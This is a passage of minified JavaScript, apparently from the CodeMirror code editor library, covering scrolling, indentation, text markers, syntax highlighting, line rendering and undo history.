f=n.display,e=f.sizer.getBoundingClientRect(),r=null;(t.top+e.top<0?r=!0:t.bottom+e.top>(window.innerHeight||document.documentElement.clientHeight)&&(r=!1),null==r||ng)||(u=i("div","​",null,"position: absolute; top: "+(t.top-f.viewOffset-ye(n.display))+"px; height: "+(t.bottom-t.top+yt(n)+f.barHeight)+"px; left: "+t.left+"px; width: 2px;"),n.display.lineSpace.appendChild(u),u.scrollIntoView(r),n.display.lineSpace.removeChild(u))}}function fk(n,t,i,r){var o;for(null==r&&(r=0),o=0;5>o;o++){var s=!1,u=ii(n,t),f=i&&i!=t?ii(n,i):u,e=no(n,Math.min(u.left,f.left),Math.min(u.top,f.top)-r,Math.max(u.left,f.left),Math.max(u.bottom,f.bottom)+r),h=n.doc.scrollTop,c=n.doc.scrollLeft;if(null!=e.scrollTop&&(yu(n,e.scrollTop),Math.abs(n.doc.scrollTop-h)>1&&(s=!0)),null!=e.scrollLeft&&(lr(n,e.scrollLeft),Math.abs(n.doc.scrollLeft-c)>1&&(s=!0)),!s)break}return u}function ek(n,t,i,r,u){var f=no(n,t,i,r,u);null!=f.scrollTop&&yu(n,f.scrollTop);null!=f.scrollLeft&&lr(n,f.scrollLeft)}function no(n,t,i,r,u){var e=n.display,a=vi(n.display),c;0>i&&(i=0);var h=n.curOp&&null!=n.curOp.scrollTop?n.curOp.scrollTop:e.scroller.scrollTop,o=ih(n),f={};u-i>o&&(u=i+o);var v=n.doc.height+th(e),p=a>i,w=u>v-a;h>i?f.scrollTop=p?0:i:u>h+o&&(c=Math.min(i,(w?v:u)-o),c!=h&&(f.scrollTop=c));var y=n.curOp&&null!=n.curOp.scrollLeft?n.curOp.scrollLeft:e.scroller.scrollLeft,s=oi(n)-(n.options.fixedGutter?e.gutters.offsetWidth:0),l=r-t>s;return l&&(r=t+s),10>t?f.scrollLeft=0:y>t?f.scrollLeft=Math.max(0,t-(l?0:10)):r>s+y-3&&(f.scrollLeft=r+(l?0:10)-s),f}function ch(n,t,i){(null!=t||null!=i)&&to(n);null!=t&&(n.curOp.scrollLeft=(null==n.curOp.scrollLeft?n.doc.scrollLeft:n.curOp.scrollLeft)+t);null!=i&&(n.curOp.scrollTop=(null==n.curOp.scrollTop?n.doc.scrollTop:n.curOp.scrollTop)+i)}function vr(t){to(t);var i=t.getCursor(),r=i,u=i;t.options.lineWrapping||(r=i.ch?n(i.line,i.ch-1):i,u=n(i.line,i.ch+1));t.curOp.scrollToPos={from:r,to:u,margin:t.options.cursorScrollMargin,isCursor:!0}}function to(n){var t=n.curOp.scrollToPos;if(t){n.curOp.scrollToPos=null;var i=ca(n,t.from),r=ca(n,t.to),u=no(n,Math.min(i.left,r.left),Math.min(i.top,r.top)-t.margin,Math.max(i.right,r.right),Math.max(i.bottom,r.bottom)+t.margin);n.scrollTo(u.scrollLeft,u.scrollTop)}}function ku(t,i,u,f){var b,o=t.doc,e,a,v,h,w,c;null==u&&(u="add");"smart"==u&&(o.mode.indent?b=lu(t,i):u="prev");var y=t.options.tabSize,s=r(o,i),p=vt(s.text,null,y);if(s.stateAfter&&(s.stateAfter=null),a=s.text.match(/^\s*/)[0],f||/\S/.test(s.text)){if("smart"==u&&(e=o.mode.indent(b,s.text.slice(a.length),s.text),e==wp||e>150)){if(!f)return;u="prev"}}else e=0,u="not";if("prev"==u?e=i>o.first?vt(r(o,i-1).text,null,y):0:"add"==u?e=p+t.options.indentUnit:"subtract"==u?e=p-t.options.indentUnit:"number"==typeof u&&(e=p+u),e=Math.max(0,e),v="",c=0,t.options.indentWithTabs)for(h=Math.floor(e/y);h;--h)c+=y,v+="\t";if(e>c&&(v+=by(e-c)),v!=a)return bu(o,v,n(i,0),n(i,a.length),"+input"),s.stateAfter=null,!0;for(h=0;h<o.sel.ranges.length;h++)if(w=o.sel.ranges[h],w.head.line==i&&w.head.ch<a.length){c=n(i,a.length);gs(o,h,new l(c,c));break}}function io(n,t,i,u){var f=t,e=t;return"number"==typeof t?e=r(n,vl(n,t)):f=c(t),null==f?null:(u(e,f)&&n.cm&&ri(n.cm,f,i),e)}function yr(n,t){for(var r,f,e=n.doc.sel.ranges,i=[],u=0;u<e.length;u++){for(r=t(e[u]);i.length&&o(r.from,h(i).to)<=0;)if(f=i.pop(),o(f.from,r.from)<0){r.from=f.from;break}i.push(r)}ut(n,function(){for(var t=i.length-1;t>=0;t--)bu(n.doc,"",i[t].from,i[t].to,"+delete");vr(n)})}function lh(t,i,u,f,e){function k(){var n=l+u;return n<t.first||n>=t.first+t.size?y=!1:(l=n,c=r(t,n))}function s(n){var t=(e?uc:ip)(c,h,u,!0);if(null==t){if(n||!k())return y=!1;h=e?(0>u?lo:co)(c):0>u?c.text.length:0}else h=t;return!0}var l=i.line,h=i.ch,d=u,c=r(t,l),y=!0,v,o,b;if("char"==f)s();else if("column"==f)s(!0);else if("word"==f||"group"==f)for(var p=null,w="group"==f,g=t.cm&&t.cm.getHelper(i,"wordChars"),a=!0;!(0>u)||s(!a);a=!1){if(v=c.text.charAt(h)||"\n",o=ho(v,g)?"w":w&&"\n"==v?"n":!w||/\s/.test(v)?null:"p",!w||a||o||(o="s"),p&&p!=o){0>u&&(u=1,s());break}if(o&&(p=o),u>0&&!s(!a))break}return b=ve(t,n(l,h),d,!0),y||(b.hitSide=!0),b}function ev(n,t,i,r){var u,o=n.doc,s=t.left,e,f;for("page"==r?(e=Math.min(n.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),u=t.top+i*(e-(0>i?1.5:.5)*vi(n.display))):"line"==r&&(u=i>0?t.bottom+3:t.top-3);;){if(f=oh(n,s,u),!f.outside)break;if(0>i?0>=u:u>=o.height){f.hitSide=!0;break}u+=5*i}return f}function e(n,i,r,u){t.defaults[n]=i;r&&(gr[n]=u?function(n,t,i){i!=hp&&r(n,t,i)}:r)}function ok(n){for(var t,u,f,e,o,i=n.split(/-(?!$)/),n=i[i.length-1],r=0;r<i.length-1;r++)if(t=i[r],/^(cmd|meta|m)$/i.test(t))o=!0;else if(/^a(lt)?$/i.test(t))u=!0;else if(/^(c|ctrl|control)$/i.test(t))f=!0;else{if(!/^s(hift)$/i.test(t))throw new Error("Unrecognized modifier name: "+t);e=!0}return u&&(n="Alt-"+n),f&&(n="Ctrl-"+n),o&&(n="Cmd-"+n),e&&(n="Shift-"+n),n}function ro(n){return"string"==typeof n?ei[n]:n}function pr(n,t,r,f,e){var s,a,y,c,h,l;if(f&&f.shared)return sk(n,t,r,f,e);if(n.cm&&!n.cm.curOp)return v(n.cm,pr)(n,t,r,f,e);if(s=new ci(n,e),a=o(t,r),f&&ht(f,s,!1),a>0||0==a&&s.clearWhenEmpty!==!1)return s;if(s.replacedWith&&(s.collapsed=!0,s.widgetNode=i("span",[s.replacedWith],"CodeMirror-widget"),f.handleMouseEvents||s.widgetNode.setAttribute("cm-ignore-events","true"),f.insertLeft&&(s.widgetNode.insertLeft=!0)),s.collapsed){if(pv(n,t.line,t,r,s)||t.line!=r.line&&pv(n,r.line,t,r,s))throw new Error("Inserting collapsed marker partially overlapping an existing one");hi=!0}if(s.addToHistory&&hy(n,{from:t,to:r,origin:"markText"},n.sel,NaN),c=t.line,h=n.cm,n.iter(c,r.line+1,function(n){h&&s.collapsed&&!h.options.lineWrapping&&pt(n)==h.display.maxLine&&(y=!0);s.collapsed&&c!=t.line&&wt(n,0);ak(n,new uo(s,c==t.line?t.ch:null,c==r.line?r.ch:null));++c}),s.collapsed&&n.iter(t.line,r.line+1,function(t){pi(n,t)&&wt(t,0)}),s.clearOnEnter&&u(s,"beforeCursorEnter",function(){s.clear()}),s.readOnly&&(op=!0,(n.history.done.length||n.history.undone.length)&&n.clearHistory()),s.collapsed&&(s.id=++bo,s.atomic=!0),h){if(y&&(h.curOp.updateMaxLine=!0),s.collapsed)it(h,t.line,r.line+1);else if(s.className||s.title||s.startStyle||s.endStyle||s.css)for(l=t.line;l<=r.line;l++)ri(h,l,"text");s.atomic&&kl(h.doc);nt(h,"markerAdded",h,s)}return s}function sk(n,t,i,r,u){r=ht(r);r.shared=!1;var e=[pr(n,t,i,r,u)],o=e[0],s=r.widgetNode;return wi(n,function(n){s&&(r.widgetNode=s.cloneNode(!0));e.push(pr(n,f(n,t),f(n,i),r,u));for(var c=0;c<n.linked.length;++c)if(n.linked[c].isParent)return;o=h(e)}),new wf(e,o)}function ov(t){return t.findMarks(n(t.first,0),t.clipPos(n(t.lastLine())),function(n){return n.parent})}function hk(n,t){for(var u,r=0;r<t.length;r++){var i=t[r],f=i.find(),e=n.clipPos(f.from),s=n.clipPos(f.to);o(e,s)&&(u=pr(n,e,s,i.primary,i.primary.type),i.markers.push(u),u.parent=i)}}function ck(n){for(var t,u,i,f,r=0;r<n.length;r++)for(t=n[r],u=[t.primary.doc],wi(t.primary.doc,function(n){u.push(n)}),i=0;i<t.markers.length;i++)f=t.markers[i],-1==d(u,f.doc)&&(f.parent=null,t.markers.splice(i--,1))}function uo(n,t,i){this.marker=n;this.from=t;this.to=i}function du(n,t){var i,r;if(n)for(i=0;i<n.length;++i)if(r=n[i],r.marker==t)return r}function lk(n,t){for(var r,i=0;i<n.length;++i)n[i]!=t&&(r||(r=[])).push(n[i]);return r}function ak(n,t){n.markedSpans=n.markedSpans?n.markedSpans.concat([t]):[t];t.marker.attachLine(n)}function vk(n,t,i){var e,u,o;if(n)for(u=0;u<n.length;++u){var r=n[u],f=r.marker,s=null==r.from||(f.inclusiveLeft?r.from<=t:r.from<t);!s&&(r.from!=t||"bookmark"!=f.type||i&&r.marker.insertLeft)||(o=null==r.to||(f.inclusiveRight?r.to>=t:r.to>t),(e||(e=[])).push(new uo(f,r.from,o?null:r.to)))}return e}function yk(n,t,i){var e,u,o;if(n)for(u=0;u<n.length;++u){var r=n[u],f=r.marker,s=null==r.to||(f.inclusiveRight?r.to>=t:r.to>t);(s||r.from==t&&"bookmark"==f.type&&(!i||r.marker.insertLeft))&&(o=null==r.from||(f.inclusiveLeft?r.from<=t:r.from<t),(e||(e=[])).push(new uo(f,o?null:r.from-t,null==r.to?null:r.to-t)))}return e}function ah(n,t){var v,y,f,s,a,w,b,u;if(t.full||(v=ou(n,t.from.line)&&r(n,t.from.line).markedSpans,y=ou(n,t.to.line)&&r(n,t.to.line).markedSpans,!v&&!y))return null;var p=t.from.ch,d=t.to.ch,k=0==o(t.from,t.to),i=vk(v,p,k),e=yk(y,d,k),c=1==t.text.length,l=h(t.text).length+(c?p:0);if(i)for(u=0;u<i.length;++u)f=i[u],null==f.to&&(s=du(e,f.marker),s?c&&(f.to=null==s.to?null:s.to+l):f.to=p);if(e)for(u=0;u<e.length;++u)f=e[u],(null!=f.to&&(f.to+=l),null==f.from)?(s=du(i,f.marker),s||(f.from=l,c&&(i||(i=[])).push(f))):(f.from+=l,c&&(i||(i=[])).push(f));if(i&&(i=sv(i)),e&&e!=i&&(e=sv(e)),a=[i],!c){if(b=t.text.length-2,b>0&&i)for(u=0;u<i.length;++u)null==i[u].to&&(w||(w=[])).push(new uo(i[u].marker,null,null));for(u=0;b>u;++u)a.push(w);a.push(e)}return a}function sv(n){for(var i,t=0;t<n.length;++t)i=n[t],null!=i.from&&i.from==i.to&&i.marker.clearWhenEmpty!==!1&&n.splice(t--,1);return n.length?n:null}function hv(n,t){var i=sd(n,t),s=ah(n,t),r,f,u,e,h,o;if(!i)return s;if(!s)return i;for(r=0;r<i.length;++r)if(f=i[r],u=s[r],f&&u)n:for(e=0;e<u.length;++e){for(h=u[e],o=0;o<f.length;++o)if(f[o].marker==h.marker)continue n;f.push(h)}else u&&(i[r]=u);return i}function pk(n,t,i){var r=null,f,h,u;if(n.iter(t.line,i.line+1,function(n){var t,i;if(n.markedSpans)for(t=0;t<n.markedSpans.length;++t)i=n.markedSpans[t].marker,!i.readOnly||r&&-1!=d(r,i)||(r||(r=[])).push(i)}),!r)return null;for(f=[{from:t,to:i}],h=0;h<r.length;++h)for(var l=r[h],e=l.find(0),s=0;s<f.length;++s)if(u=f[s],!(o(u.to,e.from)<0||o(u.from,e.to)>0)){var c=[s,1],a=o(u.from,e.from),v=o(u.to,e.to);(0>a||!l.inclusiveLeft&&!a)&&c.push({from:u.from,to:e.from});(v>0||!l.inclusiveRight&&!v)&&c.push({from:e.to,to:u.to});f.splice.apply(f,c);s+=c.length-1}return f}function cv(n){var i=n.markedSpans,t;if(i){for(t=0;t<i.length;++t)i[t].marker.detachLine(n);n.markedSpans=null}}function lv(n,t){if(t){for(var i=0;i<t.length;++i)t[i].marker.attachLine(n);n.markedSpans=t}}function fo(n){return n.inclusiveLeft?-1:0}function eo(n){return n.inclusiveRight?1:0}function av(n,t){var r=n.lines.length-t.lines.length,i;if(0!=r)return r;var u=n.find(),f=t.find(),e=o(u.from,f.from)||fo(n)-fo(t);return e?-e:(i=o(u.to,f.to)||eo(n)-eo(t),i?i:t.id-n.id)}function vv(n,t){var r,f=hi&&n.markedSpans,i,u;if(f)for(u=0;u<f.length;++u)i=f[u],i.marker.collapsed&&null==(t?i.from:i.to)&&(!r||av(r,i.marker)<0)&&(r=i.marker);return r}function yv(n){return vv(n,!0)}function gu(n){return vv(n,!1)}function pv(n,t,i,u,f){var v=r(n,t),l=hi&&v.markedSpans,s,e;if(l)for(s=0;s<l.length;++s)if(e=l[s],e.marker.collapsed){var h=e.marker.find(0),c=o(h.from,i)||fo(e.marker)-fo(f),a=o(h.to,u)||eo(e.marker)-eo(f);if(!(c>=0&&0>=a||0>=c&&a>=0)&&(0>=c&&(o(h.to,i)>0||e.marker.inclusiveRight&&f.inclusiveLeft)||c>=0&&(o(h.from,u)<0||e.marker.inclusiveLeft&&f.inclusiveRight)))return!0}}function pt(n){for(var t;t=yv(n);)n=t.find(-1,!0).line;return n}function wk(n){for(var i,t;i=gu(n);)n=i.find(1,!0).line,(t||(t=[])).push(n);return t}function vh(n,t){var i=r(n,t),u=pt(i);return i==u?t:c(u)}function wv(n,t){if(t>n.lastLine())return t;var u,i=r(n,t);if(!pi(n,i))return t;for(;u=gu(i);)i=u.find(1,!0).line;return c(i)+1}function pi(n,t){var u=hi&&t.markedSpans,i,r;if(u)for(r=0;r<u.length;++r)if((i=u[r],i.marker.collapsed)&&(null==i.from||!i.marker.widgetNode&&0==i.from&&i.marker.inclusiveLeft&&yh(n,t,i)))return!0}function yh(n,t,i){var f,r,u;if(null==i.to)return f=i.marker.find(1,!0),yh(n,f.line,du(f.line.markedSpans,i.marker));if(i.marker.inclusiveRight&&i.to==t.text.length)return!0;for(u=0;u<t.markedSpans.length;++u)if(r=t.markedSpans[u],r.marker.collapsed&&!r.marker.widgetNode&&r.from==i.to&&(null==r.to||r.to!=i.from)&&(r.marker.inclusiveLeft||i.marker.inclusiveRight)&&yh(n,t,r))return!0}function bv(n,t,i){fi(t)<(n.curOp&&n.curOp.scrollTop||n.doc.scrollTop)&&ch(n,null,i)}function nf(n){var t,r;return null!=n.height?n.height:(t=n.doc.cm,!t)?0:(go(document.body,n.node)||(r="position: relative;",n.coverGutter&&(r+="margin-left: -"+t.display.gutters.offsetWidth+"px;"),n.noHScroll&&(r+="width: "+t.display.wrapper.clientWidth+"px;"),et(t.display.measure,i("div",[n.node],null,r))),n.height=n.node.offsetHeight)}function bk(n,t,i,r){var u=new bf(n,i,r),f=n.cm;return f&&u.noHScroll&&(f.display.alignWidgets=!0),io(n,t,"widget",function(t){var i=t.widgets||(t.widgets=[]),r;return(null==u.insertAt?i.push(u):i.splice(Math.min(i.length-1,Math.max(0,u.insertAt)),0,u),u.line=t,f&&!pi(n,t))&&(r=fi(t)<n.scrollTop,wt(t,t.height+nf(u)),r&&ch(f,null,u.height),f.curOp.forceUpdate=!0),!0}),u}function kk(n,t,i,r){n.text=t;n.stateAfter&&(n.stateAfter=null);n.styles&&(n.styles=null);null!=n.order&&(n.order=null);cv(n);lv(n,i);var u=r?r(n):1;u!=n.height&&wt(n,u)}function dk(n){n.parent=null;cv(n)}function kv(n,t){var i,r;if(n)for(;;){if(i=n.match(/(?:^|\s+)line-(background-)?(\S+)/),!i)break;n=n.slice(0,i.index)+n.slice(i.index+i[0].length);r=i[1]?"bgClass":"textClass";null==t[r]?t[r]=i[2]:new RegExp("(?:^|s)"+i[2]+"(?:$|s)").test(t[r])||(t[r]+=" "+i[2])}return n}function dv(n,i){if(n.blankLine)return n.blankLine(i);if(n.innerMode){var r=t.innerMode(n,i);return r.mode.blankLine?r.mode.blankLine(r.state):void 0}}function ph(n,i,r,u){for(var e,f=0;10>f;f++)if(u&&(u[0]=t.innerMode(n,r).mode),e=n.token(i,r),i.pos>i.start)return e;throw new Error("Mode "+n.name+" failed to advance stream.");}function gv(n,t,i,u){function c(n){return{start:e.start,end:e.pos,string:e.current(),type:l||null,state:n?ur(o.mode,h):h}}var l,o=n.doc,a=o.mode;t=f(o,t);var s,v=r(o,t.line),h=lu(n,t.line,i),e=new pf(v.text,n.options.tabSize);for(u&&(s=[]);(u||e.pos<t.ch)&&!e.eol();)e.start=e.pos,l=ph(a,e,h),u&&s.push(c(!0));return u?s:c()}function ny(n,t,i,r,u,f,e){var c=i.flattenSpans,a,y;null==c&&(c=n.options.flattenSpans);var s,h=0,l=null,o=new pf(t,n.options.tabSize),v=n.options.addModeClass&&[null];for(""==t&&kv(dv(i,r),f);!o.eol();){if((o.pos>n.options.maxHighlightLength?(c=!1,e&&wh(n,t,r,o.pos),o.pos=t.length,s=null):s=kv(ph(i,o,r,v),f),v)&&(a=v[0].name,a&&(s="m-"+(s?a+" "+s:a))),!c||l!=s){for(;h<o.start;)h=Math.min(o.start,h+5e4),u(h,l);l=s}o.start=o.pos}for(;h<o.pos;)y=Math.min(o.pos,h+5e4),u(y,l),h=y}function ty(n,t,i,r){var u=[n.state.modeGen],e={},o;for(ny(n,t.text,n.doc.mode,i,function(n,t){u.push(n,t)},e,r),o=0;o<n.state.overlays.length;++o){var s=n.state.overlays[o],f=1,h=0;ny(n,t.text,s.mode,!0,function(n,t){for(var r,e,i=f;n>h;)r=u[f],r>n&&u.splice(f,1,n,u[f+1],r),f+=2,h=Math.min(n,r);if(t)if(s.opaque)u.splice(i,f-i,n,"cm-overlay "+t),f=i+2;else for(;f>i;i+=2)e=u[i+1],u[i+1]=(e?e+" ":"")+"cm-overlay "+t},e)}return{styles:u,classes:e.bgClass||e.textClass?e:null}}function iy(n,t,i){if(!t.styles||t.styles[0]!=n.state.modeGen){var r=ty(n,t,t.stateAfter=lu(n,c(t)));t.styles=r.styles;r.classes?t.styleClasses=r.classes:t.styleClasses&&(t.styleClasses=null);i===n.doc.frontier&&n.doc.frontier++}return t.styles}function wh(n,t,i,r){var f=n.doc.mode,u=new pf(t,n.options.tabSize);for(u.start=u.pos=r||0,""==t&&dv(f,i);!u.eol()&&u.pos<=n.options.maxHighlightLength;)ph(f,u,i),u.start=u.pos}function ry(n,t){if(!n||/^\s*$/.test(n))return null;var i=t.addModeClass?ap:lp;return i[n]||(i[n]=n.replace(/\S+/g,"cm-$&"))}function uy(n,t){var e=i("span",null,null,y?"padding-right: .1px":null),r={pre:i("pre",[e]),content:e,col:0,pos:0,cm:n,splitSpaces:(s||y)&&n.getOption("lineWrapping")},f,o,u,h;for(t.measure={},f=0;f<=(t.rest?t.rest.length:0);f++)u=f?t.rest[f-1]:t.line,r.pos=0,r.addToken=nd,vd(n.display.measure)&&(o=st(u))&&(r.addToken=id(r.addToken,o)),r.map=[],h=t!=n.display.externalMeasured&&c(u),rd(u,r,iy(n,u,h)),u.styleClasses&&(u.styleClasses.bgClass&&(r.bgClass=nc(u.styleClasses.bgClass,r.bgClass||"")),u.styleClasses.textClass&&(r.textClass=nc(u.styleClasses.textClass,r.textClass||""))),0==r.map.length&&r.map.push(0,0,r.content.appendChild(ad(n.display.measure))),0==f?(t.measure.map=r.map,t.measure.cache={}):((t.measure.maps||(t.measure.maps=[])).push(r.map),(t.measure.caches||(t.measure.caches=[])).push({}));return y&&/\bcm-tab\b/.test(r.content.lastChild.className)&&(r.content.className="cm-tab-wrap-hack"),p(n,"renderLine",n,t.line,r.pre),r.pre.className&&(r.textClass=nc(r.pre.className,r.textClass||"")),r}function gk(n){var t=i("span","•","cm-invalidchar");return t.title="\\u"+n.charCodeAt(0).toString(16),t.setAttribute("aria-label",t.title),t}function nd(n,t,r,u,f,e,o){var l,v,y,h,c,p,b;if(t){var k=n.splitSpaces?t.replace(/ {3,}/g,td):t,w=n.cm.state.specialChars,d=!1;if(w.test(t))for(c=document.createDocumentFragment(),l=0;;){if(w.lastIndex=l,v=w.exec(t),y=v?v.index-l:t.length-l,y&&(h=document.createTextNode(k.slice(l,l+y)),c.appendChild(s&&9>a?i("span",[h]):h),n.map.push(n.pos,n.pos+y,h),n.col+=y,n.pos+=y),!v)break;if(l+=y+1,"\t"==v[0]){var g=n.cm.options.tabSize,nt=g-n.col%g,h=c.appendChild(i("span",by(nt),"cm-tab"));h.setAttribute("role","presentation");h.setAttribute("cm-text","\t");n.col+=nt}else h=n.cm.options.specialCharPlaceholder(v[0]),h.setAttribute("cm-text",v[0]),c.appendChild(s&&9>a?i("span",[h]):h),n.col+=1;n.map.push(n.pos,n.pos+1,h);n.pos++}else n.col+=t.length,c=document.createTextNode(k),n.map.push(n.pos,n.pos+t.length,c),s&&9>a&&(d=!0),n.pos+=t.length;if(r||u||f||d||o)return p=r||"",u&&(p+=u),f&&(p+=f),b=i("span",[c],p,o),e&&(b.title=e),n.content.appendChild(b);n.content.appendChild(c)}}function td(n){for(var i=" ",t=0;t<n.length-2;++t)i+=t%2?" ":" ";return i+" "}function id(n,t){return function(i,r,u,f,e,o,s){var h,a,l,c;for(u=u?u+" cm-force-border":"cm-force-border",h=i.pos,a=h+r.length;;){for(l=0;l<t.length;l++)if(c=t[l],c.to>h&&c.from<=h)break;if(c.to>=a)return n(i,r,u,f,e,o,s);n(i,r.slice(0,c.to-h),u,f,null,o,s);f=null;r=r.slice(c.to-h);h=c.to}}}function fy(n,t,i,r){var u=!r&&i.widgetNode;u&&n.map.push(n.pos,n.pos+t,u);!r&&n.cm.display.input.needsContentAttribute&&(u||(u=n.content.appendChild(document.createElement("span"))),u.setAttribute("cm-marker",i.id));u&&(n.cm.display.input.setUneditable(u),n.content.appendChild(u));n.pos+=t}function rd(n,t,i){var d=n.markedSpans,g=n.text,v=0,a,u,f,s,l,k,rt,h;if(d)for(var nt,tt,y,p,w,b,e,it=g.length,r=0,h=1,c="",o=0;;){if(o==r){for(y=p=w=b=tt="",e=null,o=1/0,a=[],s=0;s<d.length;++s)u=d[s],f=u.marker,"bookmark"==f.type&&u.from==r&&f.widgetNode?a.push(f):u.from<=r&&(null==u.to||u.to>r||f.collapsed&&u.to==r&&u.from==r)?(null!=u.to&&u.to!=r&&o>u.to&&(o=u.to,p=""),f.className&&(y+=" "+f.className),f.css&&(tt=f.css),f.startStyle&&u.from==r&&(w+=" "+f.startStyle),f.endStyle&&u.to==o&&(p+=" "+f.endStyle),f.title&&!b&&(b=f.title),f.collapsed&&(!e||av(e.marker,f)<0)&&(e=u)):u.from>r&&o>u.from&&(o=u.from);if(e&&(e.from||0)==r){if(fy(t,(null==e.to?it+1:e.to)-r,e.marker,null==e.from),null==e.to)return;e.to==r&&(e=!1)}if(!e&&a.length)for(s=0;s<a.length;++s)fy(t,0,a[s])}if(r>=it)break;for(l=Math.min(it,o);;){if(c){if(k=r+c.length,e||(rt=k>l?c.slice(0,l-r):c,t.addToken(t,rt,nt?nt+y:y,w,r+rt.length==o?p:"",b,tt)),k>=l){c=c.slice(l-r);r=l;break}r=k;w=""}c=g.slice(v,v=i[h++]);nt=ry(i[h++],t.cm.options)}}else for(h=1;h<i.length;h+=2)t.addToken(t,g.slice(v,v=i[h]),ry(i[h+1],t.cm.options))}function ey(n,t){return 0==t.from.ch&&0==t.to.ch&&""==h(t.text)&&(!n.cm||n.cm.options.wholeLineUpdateBefore)}function bh(n,t,i,u){function v(n){return i?i[n]:null}function c(n,i,r){kk(n,i,r,u);nt(n,"change",n,t)}function p(n,t){for(var i=n,r=[];t>i;++i)r.push(new iu(f[i],v(i),u));return r}var e=t.from,l=t.to,f=t.text,o=r(n,e.line),a=r(n,l.line),b=h(f),w=v(f.length-1),y=l.line-e.line,s;t.full?(n.insert(0,p(0,f.length)),n.remove(f.length,n.size-f.length)):ey(n,t)?(s=p(0,f.length-1),c(a,a.text,w),y&&n.remove(e.line,y),s.length&&n.insert(e.line,s)):o==a?1==f.length?c(o,o.text.slice(0,e.ch)+b+o.text.slice(l.ch),w):(s=p(1,f.length-1),s.push(new iu(b+o.text.slice(l.ch),w,u)),c(o,o.text.slice(0,e.ch)+f[0],v(0)),n.insert(e.line+1,s)):1==f.length?(c(o,o.text.slice(0,e.ch)+f[0]+a.text.slice(l.ch),v(0)),n.remove(e.line+1,y)):(c(o,o.text.slice(0,e.ch)+f[0],v(0)),c(a,b+a.text.slice(l.ch),w),s=p(1,f.length-1),y>1&&n.remove(e.line+1,y-1),n.insert(e.line+1,s));nt(n,"change",n,t)}function tf(n){this.lines=n;this.parent=null;for(var t=0,i=0;t<n.length;++t)n[t].parent=this,i+=n[t].height;this.height=i}function rf(n){var t;this.children=n;for(var r=0,u=0,i=0;i<n.length;++i)t=n[i],r+=t.chunkSize(),u+=t.height,t.parent=this;this.size=r;this.height=u;this.parent=null}function wi(n,t,i){function r(n,u,f){var o,e,s;if(n.linked)for(o=0;o<n.linked.length;++o)e=n.linked[o],e.doc!=u&&(s=f&&e.sharedHist,(!i||s)&&(t(e.doc,s),r(e.doc,n,s)))}r(n,null,!0)}function oy(n,t){if(t.cm)throw new Error("This document is already in use.");n.doc=t;t.cm=n;ts(n);ns(n);n.options.lineWrapping||rs(n);n.options.mode=t.modeOption;it(n)}function r(n,t){var i,r,u,f;if(t-=n.first,0>t||t>=n.size)throw new Error("There is no line "+(t+n.first)+" in the document.");for(i=n;!i.lines;)for(r=0;;++r){if(u=i.children[r],f=u.chunkSize(),f>t){i=u;break}t-=f}return i.lines[t]}function bi(n,t,i){var u=[],r=t.line;return n.iter(t.line,i.line+1,function(n){var f=n.text;r==i.line&&(f=f.slice(0,i.ch));r==t.line&&(f=f.slice(t.ch));u.push(f);++r}),u}function kh(n,t,i){var r=[];return n.iter(t,i,function(n){r.push(n.text)}),r}function wt(n,t){var r=t-n.height,i;if(r)for(i=n;i;i=i.parent)i.height+=r}function c(n){var r;if(null==n.parent)return null;for(var i=n.parent,u=d(i.lines,n),t=i.parent;t;i=t,t=t.parent)for(r=0;t.children[r]!=i;++r)u+=t.children[r].chunkSize();return u+i.first}function ki(n,t){var u=n.first,r,f,i,o,e;n:do{for(i=0;i<n.children.length;++i){if(r=n.children[i],f=r.height,f>t){n=r;continue n}t-=f;u+=r.chunkSize()}return u}while(!n.lines);for(i=0;i<n.lines.length;++i){if(o=n.lines[i],e=o.height,e>t)break;t-=e}return u+i}function fi(n){var f,r,t,e;n=pt(n);for(var u=0,i=n.parent,t=0;t<i.lines.length;++t){if(f=i.lines[t],f==n)break;u+=f.height}for(r=i.parent;r;i=r,r=i.parent)for(t=0;t<r.children.length;++t){if(e=r.children[t],e==i)break;u+=e.height}return u}function st(n){var t=n.order;return null==t&&(t=n.order=gp(n.text)),t}function oo(n){this.done=[];this.undone=[];this.undoDepth=1/0;this.lastModTime=this.lastSelTime=0;this.lastOp=this.lastSelOp=null;this.lastOrigin=this.lastSelOrigin=null;this.generation=this.maxGeneration=n||1}function dh(n,t){var i={from:ws(t.from),to:ir(t),text:bi(n,t.from,t.to)};return cy(n,i,t.from.line,t.to.line+1),wi(n,function(n){cy(n,i,t.from.line,t.to.line+1)},!0),i}function sy(n){for(;n.length;){var t=h(n);if(!t.ranges)break;n.pop()}}function ud(n,t){return t?(sy(n.done),h(n.done)):n.done.length&&!h(n.done).ranges?h(n.done):n.done.length>1&&!n.done[n.done.length-2].ranges?(n.done.pop(),h(n.done)):void 0}function hy(n,t,i,r){var u=n.history,f,s,e,c;if(u.undone.length=0,s=+new Date,(u.lastOp==r||u.lastOrigin==t.origin&&t.origin&&("+"==t.origin.charAt(0)&&n.cm&&u.lastModTime>s-n.cm.options.historyEventDelay||"*"==t.origin.charAt(0)))&&(f=ud(u,u.lastOp==r)))e=h(f.changes),0==o(t.from,t.to)&&0==o(t.from,e.to)?e.to=ir(t):f.changes.push(dh(n,t));else for(c=h(u.done),c&&c.ranges||so(n.sel,u.done),f={changes:[dh(n,t)],generation:u.generation},u.done.push(f);u.done.length>u.undoDepth;)u.done.shift(),u.done[0].ranges||u.done.shift();u.done.push(i);u.generation=++u.maxGeneration;u.lastModTime=u.lastSelTime=s;u.lastOp=u.lastSelOp=r;u.lastOrigin=u.lastSelOrigin=t.origin;e||p(n,"historyAdded")}function fd(n,t,i,r){var u=t.charAt(0);return"*"==u||"+"==u&&i.ranges.length==r.ranges.length&&i.somethingSelected()==r.somethingSelected()&&new Date-n.history.lastSelTime<=(n.cm?n.cm.options.historyEventDelay:500)}function ed(n,t,i,r){var u=n.history,f=r&&r.origin;i==u.lastSelOp||f&&u.lastSelOrigin==f&&(u.lastModTime==u.lastSelTime&&u.lastOrigin==f||fd(n,f,h(u.done),t))?u.done[u.done.length-1]=t:so(t,u.done);u.lastSelTime=+new Date;u.lastSelOrigin=f;u.lastSelOp=i;r&&r.clearRedo!==!1&&sy(u.undone)}function so(n,t){var i=h(t);i&&i.ranges&&i.equals(n)||t.push(n)}function cy(n,t,i,r){var u=t["spans_"+n.id],f=0;n.iter(Math.max(n.first,i),Math.min(n.first+n.size,r),function(i){i.markedSpans&&((u||(u=t["spans_"+n.id]={}))[f]=i.markedSpans);++f})}function od(n){if(!n)return null;for(var 